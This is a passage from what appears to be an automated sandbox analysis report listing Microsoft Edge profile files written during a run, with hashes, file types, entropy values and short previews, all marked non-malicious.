SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.301784742004722
Encrypted:	false
SSDEEP:	384:qj9P0xkJP/KbtRcqQkQeragam6Ighw773pL4RKToaAu:qdOAP/7qe2NwO72RKcC
MD5:	27F0D6E7AC61115350AA3AA016659DB2
SHA1:	083AD45F01D72FE34250AB5AC0A34C36266D3389
SHA-256:	5FCE4E89E7028278D14A59D10147C2F66A1F996D4BEEF423AF554C75081D3242
SHA-512:	7FE4D6D0ECCE4BCC9BF1B4E5AF38944EBB9A09835408D2F0296EF3B8334D879A5DE8A07E9CBE199BD62601581C9C6B575F1A99D1A9BF2D28DF0F2491D12EC0F5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	403
Entropy (8bit):	5.289716220928334
Encrypted:	false
SSDEEP:	12:7fvYfYeb8rcHEZrELFUt8OS/+Oj5JfYeb8rcHEZrEZSJ:7nYfYeb8nZrExg8Oi1JfYeb8nZrEZe
MD5:	64F0CE03D2BF4F24E4E7CDB2F889330D
SHA1:	E78C9B4CFAD8DB6B273FCFA99C9F50B70364941A
SHA-256:	F56398B76771907CC0BB537C8B3313CE77894C1C86C4F224B9B89E4BB266B34F
SHA-512:	EC85A9AFA87E7626BDD2BD9C67ED796CC0B7490B3CBD205DB8774BA8C56F4B7E87793996247B4896119C9EB85D62AB24CA35849D4220195478B4A19115ADCCB0
Malicious:	false
Preview:	2024/12/16-10:14:21.907 788 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/12/16-10:14:21.907 788 Recovering log #3.2024/12/16-10:14:21.908 788 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	403
Entropy (8bit):	5.289716220928334
Encrypted:	false
SSDEEP:	12:7fvYfYeb8rcHEZrELFUt8OS/+Oj5JfYeb8rcHEZrEZSJ:7nYfYeb8nZrExg8Oi1JfYeb8nZrEZe
MD5:	64F0CE03D2BF4F24E4E7CDB2F889330D
SHA1:	E78C9B4CFAD8DB6B273FCFA99C9F50B70364941A
SHA-256:	F56398B76771907CC0BB537C8B3313CE77894C1C86C4F224B9B89E4BB266B34F
SHA-512:	EC85A9AFA87E7626BDD2BD9C67ED796CC0B7490B3CBD205DB8774BA8C56F4B7E87793996247B4896119C9EB85D62AB24CA35849D4220195478B4A19115ADCCB0
Malicious:	false
Preview:	2024/12/16-10:14:21.907 788 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/12/16-10:14:21.907 788 Recovering log #3.2024/12/16-10:14:21.908 788 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.112842231889789
Encrypted:	false
SSDEEP:	6:7Upyq2Pwkn23oH+Tcwt8a2jMGIFUt8O2ZCz1Zmw+OLv4RkwOwkn23oH+Tcwt8a23:7UpyvYfYeb8EFUt8O2ZCZ/+OLv4R5Jfo
MD5:	573269C13324059D56968B113DB3BA5E
SHA1:	8EE749C78887677A0901E6F198DBDCCA29C7B3CC
SHA-256:	E386AD6AE3BB6338340EDBBCCE69318D94B23A15C1FD8D5CE9FFE1B08066CCD0
SHA-512:	272DDF62D3BE8B2980200CF097203E7F2B33FD460EDC750AAC336F9D6C019056C9F9BBEE258BB91B0173A71B44928B97ED3737AB42035AB4C77547451DFCBA15
Malicious:	false
Preview:	2024/12/16-10:14:20.335 1e34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/12/16-10:14:20.336 1e34 Recovering log #3.2024/12/16-10:14:20.340 1e34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.112842231889789
Encrypted:	false
SSDEEP:	6:7Upyq2Pwkn23oH+Tcwt8a2jMGIFUt8O2ZCz1Zmw+OLv4RkwOwkn23oH+Tcwt8a23:7UpyvYfYeb8EFUt8O2ZCZ/+OLv4R5Jfo
MD5:	573269C13324059D56968B113DB3BA5E
SHA1:	8EE749C78887677A0901E6F198DBDCCA29C7B3CC
SHA-256:	E386AD6AE3BB6338340EDBBCCE69318D94B23A15C1FD8D5CE9FFE1B08066CCD0
SHA-512:	272DDF62D3BE8B2980200CF097203E7F2B33FD460EDC750AAC336F9D6C019056C9F9BBEE258BB91B0173A71B44928B97ED3737AB42035AB4C77547451DFCBA15
Malicious:	false
Preview:	2024/12/16-10:14:20.335 1e34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/12/16-10:14:20.336 1e34 Recovering log #3.2024/12/16-10:14:20.340 1e34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 28, cookie 0x1d, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	0.863060653641558
Encrypted:	false
SSDEEP:	96:u7/KLPeymOT7ynlm+yKwt7izhGnvgbn8MouB6wznP:u74CnlmVizhGE7IwD
MD5:	C681C90B3AAD7F7E4AF8664DE16971DF
SHA1:	9F72588CEA6569261291B19E06043A1EFC3653BC
SHA-256:	ADB987BF641B2531991B8DE5B10244C3FE1ACFA7AD7A61A65D2E2D8E7AB34C1D
SHA-512:	4696BF334961E4C9757BAC40C41B4FBE3E0B9F821BD242CE6967B347053787BE54D1270D7166745126AFA42E8193AC2E695B0D8F11DE8F0B2876628B7C128942
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network Action Predictor

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 11, cookie 0x6, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	0.40293591932113104
Encrypted:	false
SSDEEP:	24:TLVgTjDk5Yk8k+/kCkzD3zzbLGfIzLihje90xq/WMFFfeFzfXVVlYWOT/CUFSe:Tmo9n+8dv/qALihje9kqL42WOT/9F
MD5:	ADC0CFB8A1A20DE2C4AB738B413CBEA4
SHA1:	238EF489E5FDC6EBB36F09D415FB353350E7097B
SHA-256:	7C071E36A64FB1881258712C9880F155D9CBAC693BADCC391A1CB110C257CC37
SHA-512:	38C8B7293B8F7BEF03299BAFB981EEEE309945B1BDE26ACDAD6FDD63247C21CA04D493A1DDAFC3B9A1904EFED998E9C7C0C8E98506FD4AC0AB252DFF34566B66
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......=......\.t.+.>...,...=........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\16d80a6c-d8f0-4ad5-98b9-69f221e0fa0f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\29ab69db-4ad4-4a22-bd87-897c63125325.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\3263b4e6-c07d-4f2e-ba6e-965553d6682d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\54103039-a1c7-463d-9f55-751ee89850aa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	22
Entropy (8bit):	3.788754913993502
Encrypted:	false
SSDEEP:	3:YWRAW4J2LSQ:YWyW5SQ
MD5:	3BB76EC23C5506830EAD56540E06159F
SHA1:	94695E47D907E559E91E677CEC4EB763DC0C5CA9
SHA-256:	6B40F4AE548688A472BE3CA0C1B08ECF520B31E706FEC0F9793B4666134EBA06
SHA-512:	307F9BD06CA5EE753ACDC450CF1599DFC8ED080D9A1B19D752DD9B7950377A5B04E44D374F12ED76ABD74961C2B1F8AD6C93E4663EA77F5D6E066570C1AA6BAD
Malicious:	false
Preview:	{"sts":[],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\78aabe82-ec46-4d05-8eaa-b4fa8fabeb9c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.1347836393135082
Encrypted:	false
SSDEEP:	48:TsKLopF+SawLUO1Xj8BWdawfokBw3c5or9RtM+uKV32hXK+3o6hdN5VGL:te+AucaJkBwMS9R/u02hXF3o6hTs
MD5:	FE909C9D8CC81651EF31A4EF2AE2AC8F
SHA1:	BAF7916A39A1A770D878D35F00D20A155028E5B0
SHA-256:	5C31BB70771A30B2505176A70C408BB3AEE6F481882A3EDFF00FC1C1AA144CA2
SHA-512:	6E571D5D8E8D1BBD0A3DFCD3AB32779A2F56AF2D9D65B3C5F7B6A8B5F4248F7F82FF0B44FCD7117118B2AFF865F0DEF970F2317EE51735DAF435313D345035ED
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.926136109079379
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LSL:YHpoeSL
MD5:	4DF4574BFBB7E0B0BC56C2C9B12B6C47
SHA1:	81EFCBD3E3DA8221444A21F45305AF6FA4B71907
SHA-256:	E1B77550222C2451772C958E44026ABE518A2C8766862F331765788DDD196377
SHA-512:	78B14F60F2D80400FE50360CF303A961685396B7697775D078825A29B717081442D357C2039AD0984D4B622976B0314EDE8F478CDE320DAEC118DA546CB0682A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF326d2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.926136109079379
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LSL:YHpoeSL
MD5:	4DF4574BFBB7E0B0BC56C2C9B12B6C47
SHA1:	81EFCBD3E3DA8221444A21F45305AF6FA4B71907
SHA-256:	E1B77550222C2451772C958E44026ABE518A2C8766862F331765788DDD196377
SHA-512:	78B14F60F2D80400FE50360CF303A961685396B7697775D078825A29B717081442D357C2039AD0984D4B622976B0314EDE8F478CDE320DAEC118DA546CB0682A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF40730.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.926136109079379
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LSL:YHpoeSL
MD5:	4DF4574BFBB7E0B0BC56C2C9B12B6C47
SHA1:	81EFCBD3E3DA8221444A21F45305AF6FA4B71907
SHA-256:	E1B77550222C2451772C958E44026ABE518A2C8766862F331765788DDD196377
SHA-512:	78B14F60F2D80400FE50360CF303A961685396B7697775D078825A29B717081442D357C2039AD0984D4B622976B0314EDE8F478CDE320DAEC118DA546CB0682A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.7603837053884462
Encrypted:	false
SSDEEP:	48:TaIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBko3:uIEumQv8m1ccnvS6r3
MD5:	34B7FA93A391591846C148C45C69072C
SHA1:	5BBB4C61F45D2389335BFA22F061D85C59D7D695
SHA-256:	56B88859C636F3CA3FE09D9BF28E4623F67DAFAF9C97D4445F590C31BE0F661A
SHA-512:	1853350B35A552F745B65589EB436A315471FE39681810F4BF88E4E93AA03A6AE12010D35928C0B0C7FB434C7B5A2C130879EF4E75EDDA6DF436CF7F654AFF5A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF2f320.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF31166.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	203
Entropy (8bit):	5.4042796420747425
Encrypted:	false
SSDEEP:	6:YAQN1iL50xHA9vh8wXwlmUUAnIMp5sXX2SQ:Y45Sg9vt+UAnIXZQ
MD5:	24D66E5F1B8C76C76511DA68057CDE5E
SHA1:	70225FEC1AE3FEF8D8A767D9EA0B0E108BF8F10D
SHA-256:	D5CB3A4A104E2EC4F13E8B4CDF3BD469E0AB638713928BEA1EAEAF03998B794C
SHA-512:	1CA093B4BB4E0B3EE0B791AD0E6B39AC9640CEB6ED005BD10A10B4AF904858F4898D86D26B60B625CDA9425FF317C6B9FE0DF2E12C897A52720AF775B19491AA
Malicious:	false
Preview:	{"expect_ct":[],"sts":[{"expiry":1727869700.805692,"host":"dUymlFcJcEIuWrPNRCRXYtREHxXDHdPfT47kO1IQnQ0=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1696333700.805702}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity~RF3279e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	203
Entropy (8bit):	5.4042796420747425
Encrypted:	false
SSDEEP:	6:YAQN1iL50xHA9vh8wXwlmUUAnIMp5sXX2SQ:Y45Sg9vt+UAnIXZQ
MD5:	24D66E5F1B8C76C76511DA68057CDE5E
SHA1:	70225FEC1AE3FEF8D8A767D9EA0B0E108BF8F10D
SHA-256:	D5CB3A4A104E2EC4F13E8B4CDF3BD469E0AB638713928BEA1EAEAF03998B794C
SHA-512:	1CA093B4BB4E0B3EE0B791AD0E6B39AC9640CEB6ED005BD10A10B4AF904858F4898D86D26B60B625CDA9425FF317C6B9FE0DF2E12C897A52720AF775B19491AA
Malicious:	false
Preview:	{"expect_ct":[],"sts":[{"expiry":1727869700.805692,"host":"dUymlFcJcEIuWrPNRCRXYtREHxXDHdPfT47kO1IQnQ0=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1696333700.805702}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.36515621748816035
Encrypted:	false
SSDEEP:	24:TLH3lIIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:Tb31DtX5nDOvyKDhU1cSB
MD5:	25363ADC3C9D98BAD1A33D0792405CBF
SHA1:	D06E343087D86EF1A06F7479D81B26C90A60B5C3
SHA-256:	6E019B8B9E389216D5BDF1F2FE63F41EF98E71DA101F2A6BE04F41CC5954532D
SHA-512:	CF7EEE35D0E00945AF221BEC531E8BF06C08880DA00BD103FA561BC069D7C6F955CBA3C1C152A4884601E5A670B7487D39B4AE9A4D554ED8C14F129A74E555F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......X..g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\e38db2ad-73d4-413c-9974-4d675b7f8d0c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1355
Entropy (8bit):	5.305469013397536
Encrypted:	false
SSDEEP:	24:YXsLHJZVMdBsLxZFRudFGcsPeZFGJ/Ns13ZCO4iYlsQZ6ma3yeevbG7n7:YXsL8sLfcdsCgnsTC5sQleevbg
MD5:	15DBEA9708486C79012827796FD0589A
SHA1:	7C31FCF381674731EB7E64399EBE0061E1C14E11
SHA-256:	AFED51AA391B42975477EF65BD21680C309930E2B59F2D42DC7AF337FE2FB6E3
SHA-512:	28F944539F984651F440F8776276DAF3EF72E960A01CCA9EE8AAB66E8691DA68BC788C0B4F51E84B526D5B590A155C798A53D28656E18D4CBAFA16B0E692C289
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381427664867681","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com"},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381427668313409","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com"},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381427674165141","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com"},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378929274759311","port":443,"protocol_str":"quic"}],"anonymization":["FAAAABAAAABodHRwczovL2JpbmcuY29t",false],"server":"https://www.bing.com"},{"alternative_service":[{"advert

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\f7f516f3-a061-4595-a563-2ec117a73e7f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.46731661083066856
Encrypted:	false
SSDEEP:	12:TL1QAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3is25q0S9K0xHZ75fOV:TLiOUOq0afDdWec9sJf5Q7J5fc
MD5:	E93ACF0820CA08E5A5D2D159729F70E3
SHA1:	2C1A4D4924B9AEC1A796F108607404B000877C5D
SHA-256:	F2267FDA7F45499F7A01186B75CEFB799F8D2BC97E2E9B5068952D477294302C
SHA-512:	3BF36C20E04DCF1C16DC794E272F82F68B0DE43F16B4A9746B63B6D6BBC953B00BD7111CDA7AFE85CEBB2C447145483A382B15E2B0A5B36026C3441635D4E50C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Pdf\pdfSQLite

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
